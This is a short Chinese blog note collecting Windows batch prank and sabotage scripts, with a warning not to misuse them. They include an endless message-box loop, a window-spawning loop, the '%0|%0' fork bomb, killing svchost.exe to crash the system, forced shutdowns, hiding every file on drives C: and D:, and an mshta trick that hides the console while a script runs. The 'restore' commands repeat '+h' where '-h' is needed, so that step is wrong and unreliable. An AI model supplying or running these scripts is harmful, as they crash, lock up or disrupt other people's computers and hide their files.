跳到正文

个人记录

bat(谨慎食用)

whrwlx约 2 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2025年12月12日
篇幅
约 2 分钟

版本

  1. v1当前

BatBat

不要乱用,也不要说是我教的

在自己电脑上也不要尝试,标 危\red 危 的慎用

MaxMax MessageMessage

代码
:A
@echo off
echo msgbox"你想弹出的东西">chome.vbs
chome.vbs
del chome.vbs
goto A

MaxMax CmdCmd

代码
start cmd
%0

BooMBooM 危\red 危

代码
%0|%0

blueblue screenscreen 危\red 危

代码
taskkill -s -im svchost.exe

ShutdownShutdown

1.DirectDirect ShutdownShutdown

代码
shutdown -p

2.DelayedDelayed ShutdownShutdown(有弹窗提示容易暴露)

代码
shutdown -s -t 秒数(不加默认为30)

3.RescueRescue

代码
shutdown -a
想具体了解shutdownshutdown可以打shutdown -? (帮助)

HideHide

隐藏D盘所有文件

代码
attrib +h /s /d d:\*.*

隐藏C盘所有文件

代码
attrib +h /s /d c:\*.*

恢复

代码
attrib +h /s /d d:\*.*
代码
attrib +h /s /d c:\*.*

添加磁盘(以X为例)

代码
subst x: c:\windows

恢复

代码
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do attrib %%i -h&rd %%i&subst %%i: /d

辅助

HideHide TheThe CmdCmd WindowWindow WhenWhen YouYou RunRun BatBat

代码
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin

read more

read more


如果你有更好的请私信我

原文